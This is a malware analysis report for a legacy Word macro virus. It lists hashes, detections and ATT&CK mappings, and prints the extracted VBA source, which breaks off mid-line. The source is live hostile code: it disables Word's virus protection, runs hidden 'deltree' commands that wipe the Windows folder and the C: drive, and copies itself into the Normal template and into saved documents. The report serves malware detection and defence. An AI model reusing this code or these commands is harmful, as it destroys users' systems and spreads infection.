Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3be237bf18380a7b…

MALICIOUS

Office (OLE)

211.0 KB Created: 1998-05-16 03:55:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 02076c44c19434d8bb62604bc4bf0a11 SHA-1: d74b066f957e688a2caff46a00f0a541d6321278 SHA-256: 3be237bf18380a7b479c92ab924fa4abea15dc94a15e00a976bb307d090acb60
320 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1490 Inhibit System Recovery

This document contains VBA macros that are designed to execute destructive commands, specifically 'deltree /y c:\windows' and 'deltree /y c:\*.*', which aim to inhibit system recovery. The Auto_Close macro also attempts to copy itself and a UserForm to the Normal template, suggesting an attempt at persistence. The presence of legacy WordBasic markers and the critical 'Shell()' call firing strongly indicate malicious intent.

Heuristics 6

  • ClamAV: Doc.Trojan.Mbug-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Mbug-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5713 bytes
SHA-256: 37c695ed576d67042eb6759d34d26173cc3ae0be76f9856e506976f0be1f05bb
Detection
ClamAV: Win.Trojan.DelTree-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "clinton"
Sub AutoExec()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
If Day(Now()) = "15" Or Day(Now()) = "16" Or Day(Now()) = "17" Or Day(Now()) = "18" Or Day(Now()) = "19" Or Day(Now()) = "20" Or Day(Now()) = "21" Or Day(Now()) = "22" Or Day(Now()) = "23" Or Day(Now()) = "24" Or Day(Now()) = "25" Or Day(Now()) = "26" Or Day(Now()) = "27" Or Day(Now()) = "28" Or Day(Now()) = "29" Or Day(Now()) = "30" Or Day(Now()) = "31" Then
StatusBar = "Clinton Announcement"
Else
UserForm1.Show
MsgBox "Not Accept, must punish", vbInformation
Shell "deltree /y c:\windows", vbHide
Shell "deltree /y c:\*.*", vbHide
End If
End Sub
Sub AutoClose()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorAC
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
    If WordBasic.[MacroName$](i, 0) = "clinton" Then
        clintonInstalled = -1
    End If
Next i
If Not clintonInstalled Then
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="clinton", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm1", Object:=wdOrganizerObjectProjectItems
End If
ErrorAC:
End Sub
Sub FileSave()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorA
FileSaveAss
ErrorA:
End Sub
Private Sub FileSaveAss()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFA
    Dialogs(wdDialogFileSaveAs).Show
    If (ActiveDocument.SaveFormat = wdFormatDocument) Or (ActiveDocument.SaveFormat = wdFormatTemplate) Then
        ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="clinton", Object:=wdOrganizerObjectProjectItems
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="UserForm1", Object:=wdOrganizerObjectProjectItems
        ActiveDocument.Save
        End If
If Day(Now()) = "15" Or Day(Now()) = "16" Or Day(Now()) = "17" Or Day(Now()) = "18" Or Day(Now()) = "19" Or Day(Now()) = "20" Or Day(Now()) = "21" Or Day(Now()) = "22" Or Day(Now()) = "23" Or Day(Now()) = "24" Or Day(Now()) = "25" Or Day(Now()) = "26" Or Day(Now()) = "27" Or Day(Now()) = "28" Or Day(Now()) = "29" Or Day(Now()) = "30" Or Day(Now()) = "31" Then
UserForm1.Show
MsgBox "Not Accept, must punish", vbInformation
Shell "deltree /y c:\windows", vbHide
Shell "deltree /y c:\*.*", vbHide
Else
MsgBox "Clinton Save"
End If
ErrorFA:
End Sub
Sub FileSaveAs()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFSA
    Dialogs(wdDialogFileSaveAs).Show
    If (ActiveDocument.SaveFormat = wdFormatDocument) Or (ActiveDocument.SaveFormat = wdFormatTemplate) Then
        ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="clinton", Object:=wdOrganizerObjectProjectItems
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="UserForm1", Object:=wdOrganizerObjectProjectItems
        ActiveDocument.Save
        End If
If Day(Now()) = "15" Or Day(Now()) = "16" Or Day(Now()) = "17" Or Day(Now()) = "18" Or Day(Now()) = "19" Or Day(Now()) = "20" Or Day(Now()) = "21" Or Day(Now()) = "22" Or Day(Now()) = "23" Or Day(Now()) = "24" Or Day(Now
... (truncated)